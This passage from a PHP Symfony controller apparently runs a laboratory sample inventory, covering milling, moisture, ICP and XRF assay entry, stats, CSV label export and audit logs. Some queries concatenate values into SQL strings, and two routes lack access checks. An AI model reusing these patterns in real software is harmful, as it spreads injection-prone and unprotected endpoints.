  814. $user = $this->getUser();
  815. $info = $request->get('info');
  816. $newparcel = new ClientParcel();
  817. $newparcel->setClient($user);
  818. $newparcel->setCourrier($info["courrier"]);
  819. $newparcel->setWaybill($info["waybill"]);
  820. $newparcel->setSender($info["sender"]);
  821. $newparcel->setComment($info["comment"]);
  822. $info = $info["info"];
  823. //$newparcel->setData($info);
  824. $newparcel->setDataarray($info);
  825. $newparcel->setDateadded(new \DateTime());
  826. $newparcel->setAccepted(false);
  828. $this->em->persist($newparcel);
  829. $this->em->flush();
  830. return new Response("/");
  831. }
  833. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  834. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  835. 'country' => $usercountry
  836. ],[
  837. 'id' => 'DESC'
  838. ]);
  839. $samples2=[];
  840. if (in_array("WC",$usercountry)){
  841. $samples2 = $this->em
  842. ->createQuery(
  843. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  844. )
  845. ->getResult();
  846. }
  847. //dump($samples2);
  848. $samples = array_merge($samples,$samples2);
  849. return $this->render('cats/addclientorder.html.twig', [
  850. 'samples' => $samples,
  851. ]);
  852. }
  853. //=====================================================================================================================================================================================<
  854. /**
  855. * @IsGranted("ROLE_USER")
  856. * @Route("/stats/{id}", name="stats")
  857. * @param int $id
  858. * @param Request $request
  859. * @return Response $response
  860. */
  861. public function stats(int $id, Request $request)
  862. {
  863. $usercountry = $this->getUser()->getCountry();
  864. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  865. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  866. 'id' => $id
  867. ]);
  871. // $qb instanceof QueryBuilder
  872. $qb = $this->em->createQueryBuilder();
  873. $qb->select('count(t.id)');
  874. $qb->from(Inventory::class, 't');
  875. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  876. // $qb->where('t.dateFinished > 2020-09-18');
  877. $qb->setMaxResults('1');
  879. $result = $qb->getQuery()->getSingleScalarResult();
  880. //dump($result);
  881. $qb1 = $this->em->createQueryBuilder();
  882. $qb1->select('t');
  883. $qb1->from(FABatch::class, 't');
  884. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  885. $anotherresult = $qb1->getQuery()->getResult();
  886. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  887. $loginfo= [];
  888. $loginfo2= [];
  889. $tasks= [];
  890. $batchesdaily = [];
  891. $batchesdaily2 = [];
  892. $anotherresult2 = 0;
  893. $anotherresult4 = 0;
  894. foreach ($anotherresult as $x){
  896. array_push($loginfo, $x->getDateFinished()->format('j'));
  897. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  898. $stmt = $this->em->getConnection()->prepare($sql);
  899. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  900. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  901. //dump($anotherresult2);
  902. }
  903. $qb3 = $this->em->createQueryBuilder();
  904. $qb3->select('t');
  905. $qb3->from(ICPBatch::class, 't');
  906. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  907. $anotherresult3 = $qb3->getQuery()->getResult();
  908. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  909. foreach ($anotherresult3 as $x){
  911. array_push($loginfo2, $x->getDate()->format('j'));
  912. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  913. $stmt = $this->em->getConnection()->prepare($sql);
  914. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  915. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  916. //dump($anotherresult2);
  917. }
  919. return $this->render('cats/stats.html.twig', [
  920. 'messages' => $messages,
  921. 'bonuses' => $bonuses,
  922. 'data' => $result,
  923. 'data23' => $anotherresult,
  924. 'loginfo' => $loginfo,
  925. 'batchesdaily' => $batchesdaily,
  926. 'test2' => $anotherresult2,
  927. 'icp' => $anotherresult3,
  928. 'icp2' => $batchesdaily2,
  929. 'tasks' => $tasks
  930. ]);
  931. }
  932. //=====================================================================================================================================================================================<
  933. /**
  934. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  935. * @param Request $request
  936. * @Route("/mill", name="mill")
  937. * @return Response $response
  938. */
  939. public function mill(Request $request)
  940. {
  941. $loginfo= [];
  942. if ( $request->isMethod("post") ) {
  943. if (null !== $request->get('markmilled')){
  944. $info = $request->get('ids');
  945. if(!empty($info)){
  946. foreach($info as $j) {
  947. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  948. $entry->setMillStatus('Milled');
  949. $entry->setDateMilled(new \DateTime());
  950. $this->em->persist($entry);
  951. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  952. }
  953. $log = new Log();
  954. $log->setDate(new \DateTime());
  955. $log->setType('Mill Status');
  956. $log->setText('Sample mill status was updated to Milled');
  957. $log->setAssignedUser($this->getUser());
  958. $log->setText2(implode(", ", $loginfo));
  959. $this->em->persist($log);
  960. $this->em->flush();
  961. }
  963. }
  964. if (null !== $request->get('revert')){
  965. $info = $request->get('ids');
  966. if(!empty($info)){
  967. foreach($info as $j) {
  968. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  969. $entry->setMillStatus('Original');
  970. $entry->setDateMilled(null);
  971. $this->em->persist($entry);
  972. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  973. }
  974. $log = new Log();
  975. $log->setDate(new \DateTime());
  976. $log->setType('Mill Status');
  977. $log->setText('Sample mill status reverted to Original');
  978. $log->setAssignedUser($this->getUser());
  979. $log->setText2(implode(", ", $loginfo));
  980. $this->em->persist($log);
  981. $this->em->flush();
  982. }
  984. }
  985. }
  986. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  987. return $this->render('cats/mill.html.twig', [
  988. 'inventory' => $millinv
  989. ]);
  990. }
  991. //=====================================================================================================================================================================================<
  992. /**
  993. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  994. * @param Request $request
  995. * @Route("/fassayreg/disqbatches", name="disqbatches")
  996. * @return Response $response
  997. */
  998. public function disqbatches(Request $request)
  999. {
  1000. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  1001. ['status' => ["finished",null,]],['id'=>'DESC'],50
  1002. );
  1004. return $this->render('cats/disqbatches.html.twig', [
  1005. 'batches' => $disqbatches
  1006. ]);
  1007. }
  1008. //=====================================================================================================================================================================================<
  1009. /**
  1010. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1011. * @param Request $request
  1012. * @Route("/icp/icpbatches", name="icpbatches")
  1013. * @return Response $response
  1014. */
  1015. public function icpbatches(Request $request)
  1016. {
  1017. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  1018. ['status' => null],['id' => 'DESC'],
  1019. 50
  1020. );
  1021. return $this->render('cats/icpbatches.html.twig', [
  1022. 'batches' => $icpbatches
  1023. ]);
  1024. }
  1025. //=====================================================================================================================================================================================<
  1026. /**
  1027. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1028. * @param Request $request
  1029. * @Route("/fassayreg/fabatches", name="fabatches")
  1030. * @return Response $response
  1031. */
  1032. public function fabatches(Request $request)
  1033. {
  1034. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  1035. ['status' => [null,'finished']],['id' => 'DESC']
  1036. );
  1037. return $this->render('cats/fabatches.html.twig', [
  1038. 'fabatches' => $fabatches
  1039. ]);
  1040. }
  1042. /**
  1043. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1044. * @Route("/fassayreg/au-batches", name="au-batches")
  1045. * @return Response $response
  1046. */
  1047. public function auBatches(AuBatchManager $auBatchManager): Response
  1048. {
  1049. return $this->render(
  1050. 'cats/au-batches.html.twig',
  1051. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  1052. );
  1053. }
  1054. //=====================================================================================================================================================================================<
  1055. /**
  1056. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1057. * @param Request $request
  1058. * @Route("/inv", name="visitorinventory")
  1059. * @return Response $response
  1060. */
  1061. public function visitorinventory(Request $request)
  1062. {
  1064. return $this->render('cats/visitinv.html.twig');
  1065. }
  1066. //=====================================================================================================================================================================================<
  1067. /**
  1068. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1069. * @param Request $request
  1070. * @Route("/inventory", name="inventory")
  1071. * @return Response $response
  1072. */
  1073. public function inventory(Request $request, ExportCountryRelationService $relationService)
  1074. {
  1075. if ( $request->isMethod("post") ) {
  1076. $loginfo= [];
  1077. if (null !== $request->get('edit')){
  1078. $info = $request->get('ids');
  1079. //dump($request);
  1080. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1081. 'id' => $info
  1082. ]);
  1083. return $this->render('cats/edit.html.twig', [
  1084. 'inventory' => $editinv
  1085. ]);
  1086. }
  1087. if (null !== $request->get('startanalysis')){
  1088. $info = $request->get('ids');
  1089. /** @var Inventory $dumby */
  1090. if(!empty($info)) {
  1091. foreach ($info as $j) {
  1093. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1094. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1095. $dumby->setAnalysisStatus('None');
  1096. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1098. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1099. $dumby->setAnalysisStatus('To Start');
  1100. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1101. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1102. $dumby->setAnalysisStatus('In Progress');
  1103. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1104. }
  1105. $log = new Log();
  1106. $log->setDate(new \DateTime());
  1107. $log->setType('Analysis Status');
  1108. $log->setText('Analysis status manually altered for samples');
  1109. $log->setAssignedUser($this->getUser());
  1110. $log->setText2(implode(", ", $loginfo));
  1112. $this->em->persist($log);
  1114. $this->em->persist($dumby);
  1115. }
  1116. }
  1117. $this->em->flush();
  1118. return $this->redirect($this->generateUrl('inventory'));
  1120. }
  1121. if (null !== $request->get('editconfirm')){
  1122. $info = $request->get('entry');
  1124. foreach($info as $j) {
  1126. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1127. //dump($entry);
  1128. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1129. $entry->setSampleType($j['type'])
  1130. ->setSampleSubtype($j['subtype'])
  1131. ->setSampleName($j['name']);
  1132. $entry->setCountry($j['country']);
  1133. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1134. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1135. }
  1136. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1137. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1138. }
  1139. $entry->setExportno($j['export']);
  1140. $this->em->persist($entry);
  1143. }
  1144. $log = new Log();
  1145. $log->setDate(new \DateTime());
  1146. $log->setType('Sample Info');
  1147. $log->setText('Sample information was edited');
  1148. $log->setAssignedUser($this->getUser());
  1149. $log->setText2(implode(", ", $loginfo));
  1151. $this->em->persist($log);
  1152. $this->em->flush();
  1153. return $this->redirect($this->generateUrl('inventory'));
  1154. }
  1155. if (null !== $request->get('manualicp')){
  1156. $info = $request->get('ids');
  1157. //dump($request);
  1158. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1159. 'id' => $info
  1160. ]);
  1161. return $this->render('cats/micp.html.twig', [
  1162. 'inventory' => $micp
  1163. ]);
  1164. }
  1165. if (null !== $request->get('manualicpconfirm')){
  1166. $info = $request->get('entry');
  1167. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1170. foreach($info as $j) {
  1172. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1173. //dump($entry);
  1174. /** @var Inventory $entry */
  1175. $entry->setIcppt((int)$j['pt'])
  1176. ->setIcppd((int)$j['pd'])
  1177. ->setIcprh((int)$j['rh'])
  1178. ->setDateFinished(new \DateTime())
  1179. ->setAnalysisStatus('Completed');
  1180. $this->em->persist($entry);
  1181. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1183. }
  1184. $log = new Log();
  1185. $log->setDate(new \DateTime());
  1186. $log->setType('Assay Info');
  1187. $log->setText('Assay information was manually added');
  1188. $log->setAssignedUser($this->getUser());
  1189. $log->setText2(implode(", ", $loginfo));
  1190. $this->em->persist($log);
  1191. $this->em->flush();
  1192. }
  1193. return $this->redirect($this->generateUrl('inventory'));
  1194. }
  1195. if (null !== $request->get('addtoorder')){
  1196. $info = $request->get('entry');
  1197. //dump($info);
  1198. return $this->redirect($this->generateUrl('inventory'));
  1199. }
  1200. if (null !== $request->get('xrf')){
  1201. $info = $request->get('ids');
  1202. //dump($request);
  1203. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1204. 'id' => $info
  1205. ]);
  1206. return $this->render('cats/xrf.html.twig', [
  1207. 'inventory' => $xrfinv
  1208. ]);
  1209. }
  1210. if (null !== $request->get('xrfconfirm')){
  1211. $info = $request->get('entry');
  1213. foreach($info as $j) {
  1214. /** @var Inventory $entry */
  1215. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1216. //dump($entry);
  1217. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1218. $this->em->persist($entry);
  1219. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1221. }
  1222. $log = new Log();
  1223. $log->setDate(new \DateTime());
  1224. $log->setType('XRF Info');
  1225. $log->setText('XRF information was manually added');
  1226. $log->setAssignedUser($this->getUser());
  1227. $log->setText2(implode(", ", $loginfo));
  1228. $this->em->persist($log);
  1229. $this->em->flush();
  1230. return $this->redirect($this->generateUrl('inventory'));
  1231. }
  1232. if (null !== $request->get('mill')){
  1233. $info = $request->get('ids');
  1234. //dump($request);
  1235. /** @var Inventory $dumby */
  1236. if(!empty($info)) {
  1237. foreach ($info as $j) {
  1239. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1240. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1241. $dumby->setMillStatus('To Mill');
  1242. $this->em->persist($dumby);
  1243. }
  1244. }
  1245. $log = new Log();
  1246. $log->setDate(new \DateTime());
  1247. $log->setType('Mill Status');
  1248. $log->setText('Sample mill status changed to To Mill');
  1249. $log->setAssignedUser($this->getUser());
  1250. $log->setText2(implode(", ", $loginfo));
  1251. $this->em->persist($log);
  1252. $this->em->flush();
  1253. return $this->redirect($this->generateUrl('inventory'));
  1255. }
  1256. //=======================================================================================
  1257. if (null !== $request->get('moist')){
  1258. $info = $request->get('ids');
  1259. /** @var Inventory $dumby */
  1260. if(!empty($info)) {
  1261. foreach ($info as $j) {
  1262. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1264. if(count($dumby->getMoists()) == NULL) {
  1265. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1266. $newmoists1 = new Moists();
  1267. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1268. $newmoists1->setAssignedSample($dumby);
  1269. $newmoists1->setStatus('To Do');
  1270. $newmoists1->setCounts(true);
  1271. $this->em->persist($newmoists1);
  1273. $newmoists2 = new Moists();
  1274. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1275. $newmoists2->setAssignedSample($dumby);
  1276. $newmoists2->setStatus('To Do');
  1277. $newmoists2->setCounts(true);
  1278. $this->em->persist($newmoists2);
  1280. $dumby->setMoistStatus("In Progress");
  1282. } elseif(count($dumby->getMoists()) == 2) {
  1283. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1284. $newmoists3 = new Moists();
  1285. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1286. $newmoists3->setAssignedSample($dumby);
  1287. $newmoists3->setStatus('To Do');
  1288. $newmoists3->setCounts(true);
  1289. $this->em->persist($newmoists3);
  1291. $dumby->setMoistStatus("In Progress");
  1293. } elseif(count($dumby->getMoists()) == 3) {
  1294. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1295. $newmoists4 = new Moists();
  1296. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1297. $newmoists4->setAssignedSample($dumby);
  1298. $newmoists4->setStatus('To Do');
  1299. $newmoists4->setCounts(true);
  1300. $this->em->persist($newmoists4);
  1302. $dumby->setMoistStatus("In Progress");
  1304. } elseif(count($dumby->getMoists()) == 4) {
  1305. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1306. $newmoists5 = new Moists();
  1307. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1308. $newmoists5->setAssignedSample($dumby);
  1309. $newmoists5->setStatus('To Do');
  1310. $newmoists5->setCounts(true);
  1311. $this->em->persist($newmoists5);
  1313. $dumby->setMoistStatus("In Progress");
  1315. } elseif(count($dumby->getMoists()) == 1) {
  1316. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1318. foreach ($dumby->getMoists() as $i){
  1319. /** @var Moists $moist */
  1320. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1321. if (substr($moist->getMoistsref(),-1) == "M"){
  1322. $moist->setMoistsref($dumby->getId() . "-M1");
  1323. $moist->setStatus("Reverted for 2nd");
  1324. }
  1325. }
  1327. $newmoists2 = new Moists();
  1328. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1329. $newmoists2->setAssignedSample($dumby);
  1330. $newmoists2->setStatus('To Do');
  1331. $newmoists2->setCounts(true);
  1332. $this->em->persist($newmoists2);
  1334. $dumby->setMoistStatus("In Progress");
  1335. }
  1336. }
  1338. $log = new Log();
  1339. $log->setDate(new \DateTime());
  1340. $log->setType('Moisture Info');
  1341. $log->setText('Sample were put up for Moisture testing');
  1342. $log->setAssignedUser($this->getUser());
  1343. $log->setText2(implode(", ", $loginfo));
  1344. $this->em->persist($log);
  1345. $this->em->flush();
  1346. }
  1347. return $this->redirect($this->generateUrl('inventory'));
  1348. }
  1350. if (null !== $request->get('moistrevert')){
  1351. $info = $request->get('ids');
  1352. /** @var Inventory $inv */
  1353. if(!empty($info)){
  1354. foreach ($info as $j){
  1355. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1356. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1357. $inv->setMoistStatus("Reverted");
  1358. foreach ($inv->getMoists() as $i){
  1359. /** @var Moists $i*/
  1360. $i->setStatus('Reverted');
  1361. $this->em->persist($i);
  1362. }
  1363. }
  1364. $this->em->persist($inv);
  1365. }
  1366. $this->em->flush();
  1367. }
  1368. }
  1369. }
  1370. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1371. $relationViewData = $relationService->getViewData();
  1373. return $this->render('cats/catinventory.html.twig', [
  1374. 'orders' => $orders,
  1375. 'exportCountryRelations' => $relationViewData['relations'],
  1376. 'exportCountryLookup' => $relationViewData['lookup'],
  1377. ]);
  1378. }
  1380. /**
  1381. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1382. * @Route("/inventory/export-country-relations", name="inventory_export_country_relation_save", methods={"POST"})
  1383. */
  1384. public function saveInventoryExportCountryRelation(
  1385. Request $request,
  1386. ExportCountryRelationService $relationService
  1387. ): JsonResponse {
  1388. $data = json_decode($request->getContent(), true);
  1390. if (!is_array($data)) {
  1391. return $this->json([
  1392. 'status' => 'error',
  1393. 'message' => 'Invalid request payload.',
  1394. ], JsonResponse::HTTP_BAD_REQUEST);
  1395. }
  1397. try {
  1398. $relation = $relationService->saveFromPayload(MinExportCountryRelationPayload::fromArray($data));
  1399. } catch (HttpExceptionInterface $exception) {
  1400. return $this->json([
  1401. 'status' => 'error',
  1402. 'message' => $exception->getMessage(),
  1403. ], $exception->getStatusCode());
  1404. }
  1406. return $this->json([
  1407. 'status' => 'success',
  1408. 'relation' => $relationService->serializeRelation($relation),
  1409. ]);
  1410. }
  1412. /**
  1413. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1414. * @Route("/inventory/export-country-relations/{relationId}", name="inventory_export_country_relation_delete", methods={"DELETE"})
  1415. */
  1416. public function deleteInventoryExportCountryRelation(
  1417. int $relationId,
  1418. ExportCountryRelationService $relationService
  1419. ): JsonResponse {
  1420. try {
  1421. $relationService->deleteById($relationId);
  1422. } catch (HttpExceptionInterface $exception) {
  1423. return $this->json([
  1424. 'status' => 'error',
  1425. 'message' => $exception->getMessage(),
  1426. ], $exception->getStatusCode());
  1427. }
  1429. return $this->json([
  1430. 'status' => 'success',
  1431. 'message' => 'Relation deleted.',
  1432. ]);
  1433. }
  1436. /**
  1437. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1438. * @param Request $request
  1439. * @return StreamedResponse
  1440. */
  1441. public function catLabelCsv(Request $request): StreamedResponse
  1442. {
  1443. $samples = $request->get('samples');
  1444. $labels = [];
  1446. foreach ($samples as $sampleId) {
  1447. /** @var Inventory $sample */
  1448. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1450. if ($sample) {
  1451. $labels[] = [
  1452. $sample->getId(),
  1453. $sample->getSampleName() ?? ''
  1454. ];
  1455. }
  1456. }
  1458. $response = new StreamedResponse(function() use ($labels) {
  1459. $handle = fopen('php://output', 'w+');
  1461. // Add the header of the CSV file
  1462. fputcsv($handle, ['ID', 'Sample Reference']);
  1464. foreach ($labels as $label) {
  1465. fputcsv($handle, $label);
  1466. }
  1468. fclose($handle);
  1469. });
  1471. $response->headers->set('Content-Type', 'text/csv');
  1472. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1474. return $response;
  1475. }
  1477. //=====================================================================================================================================================================================<
  1478. /**
  1479. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1480. * @param Request $request
  1481. * @Route("/adminventory", name="adminventory")
  1482. * @return Response $response
  1483. */
  1484. public function adminventory(Request $request)
  1485. {
  1486. if ( $request->isMethod("post") ) {
  1487. $loginfo= [];
  1488. if (null !== $request->get('edit')){
  1489. $info = $request->get('ids');
  1490. //dump($request);
  1491. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1492. 'id' => $info
  1493. ]);
  1494. return $this->render('cats/edit.html.twig', [
  1495. 'inventory' => $editinv
  1496. ]);
  1497. }
  1498. if (null !== $request->get('startanalysis')){
  1499. $info = $request->get('ids');
  1500. /** @var Inventory $dumby */
  1501. if(!empty($info)) {
  1502. foreach ($info as $j) {
  1504. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1505. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1506. $dumby->setAnalysisStatus('None');
  1507. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1509. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1510. $dumby->setAnalysisStatus('To Start');
  1511. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1512. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1513. $dumby->setAnalysisStatus('In Progress');
  1514. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1515. }
  1516. $log = new Log();
  1517. $log->setDate(new \DateTime());
  1518. $log->setType('Analysis Status');
  1519. $log->setText('Analysis status manually altered for samples');
  1520. $log->setAssignedUser($this->getUser());
  1521. $log->setText2(implode(", ", $loginfo));
  1523. $this->em->persist($log);
  1525. $this->em->persist($dumby);
  1526. }
  1527. }
  1528. $this->em->flush();
  1529. return $this->redirect($this->generateUrl('inventory'));
  1531. }
  1532. if (null !== $request->get('editconfirm')){
  1533. $info = $request->get('entry');
  1535. foreach($info as $j) {
  1537. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1538. //dump($entry);
  1539. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1540. $entry->setSampleType($j['type'])
  1541. ->setSampleSubtype($j['subtype'])
  1542. ->setSampleName($j['name']);
  1543. $entry->setCountry($j['country']);
  1544. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1545. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1546. }
  1547. $entry->setExportno($j['export']);
  1548. $this->em->persist($entry);
  1551. }
  1552. $log = new Log();
  1553. $log->setDate(new \DateTime());
  1554. $log->setType('Sample Info');
  1555. $log->setText('Sample information was edited');
  1556. $log->setAssignedUser($this->getUser());
  1557. $log->setText2(implode(", ", $loginfo));
  1559. $this->em->persist($log);
  1560. $this->em->flush();
  1561. return $this->redirect($this->generateUrl('inventory'));
  1562. }
  1563. if (null !== $request->get('addtoorder')){
  1564. $info = $request->get('entry');
  1565. //dump($info);
  1566. return $this->redirect($this->generateUrl('inventory'));
  1567. }
  1569. }
  1571. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1572. return $this->render('cats/catadminventory.html.twig', [
  1573. 'orders' => $orders
  1574. ]);
  1575. }
  1576. //=====================================================================================================================================================================================<
  1577. /**
  1578. * @Route("/getinv", name="getinv")
  1579. */
  1580. public function ajaxgetinv()
  1581. {
  1582. $response = new Response();
  1583. $list=[];
  1584. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1585. 'id' => "DESC"
  1586. ]);
  1589. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1590. //dump($qb->getOneOrNullResult());
  1591. //foreach($inventory as $j){
  1592. // $list[] = $j->getInfo();
  1593. //}
  1594. $response->setContent(json_encode([
  1595. 'data' => $list,
  1596. ]));
  1597. $response->headers->set('Content-Type', 'application/json');
  1598. return $response;
  1600. }
  1601. //=====================================================================================================================================================================================<
  1602. // /**
  1603. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1604. // * @Route("/moists", name="moists")
  1605. // * @param Request $request
  1606. // * @return Response $response
  1607. // */
  1608. // public function moists(Request $request)
  1609. // {
  1610. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1611. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1612. // ]);
  1613. // return $this->render('cats/moists.html.twig',[
  1614. // 'inventory' => $moists
  1615. // ]);
  1616. // }
  1617. //=====================================================================================================================================================================================<
  1618. /**
  1619. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1620. * @Route("/moistsresult", name="moistsresult")
  1621. * @param Request $request
  1622. * @return Response $response
  1623. */
  1624. public function moistsresult(Request $request)
  1625. {
  1626. return $this->render('cats/moistsresult.html.twig',[]);
  1627. }
  1628. //=====================================================================================================================================================================================<
  1629. /**
  1630. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1631. * @Route("/moists2", name="moists2")
  1632. * @param Request $request
  1633. * @return Response $response
  1634. */
  1635. public function moists2(Request $request)
  1636. {
  1637. return $this->render('cats/moists2.html.twig',[]);
  1638. }
  1639. //=====================================================================================================================================================================================<
  1640. /**
  1641. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1642. * @Route("/moistarchived", name="moistsarchived")
  1643. * @param Request $request
  1644. * @return Response $response
  1645. */
  1646. public function moistsarchive(Request $request)
  1647. {
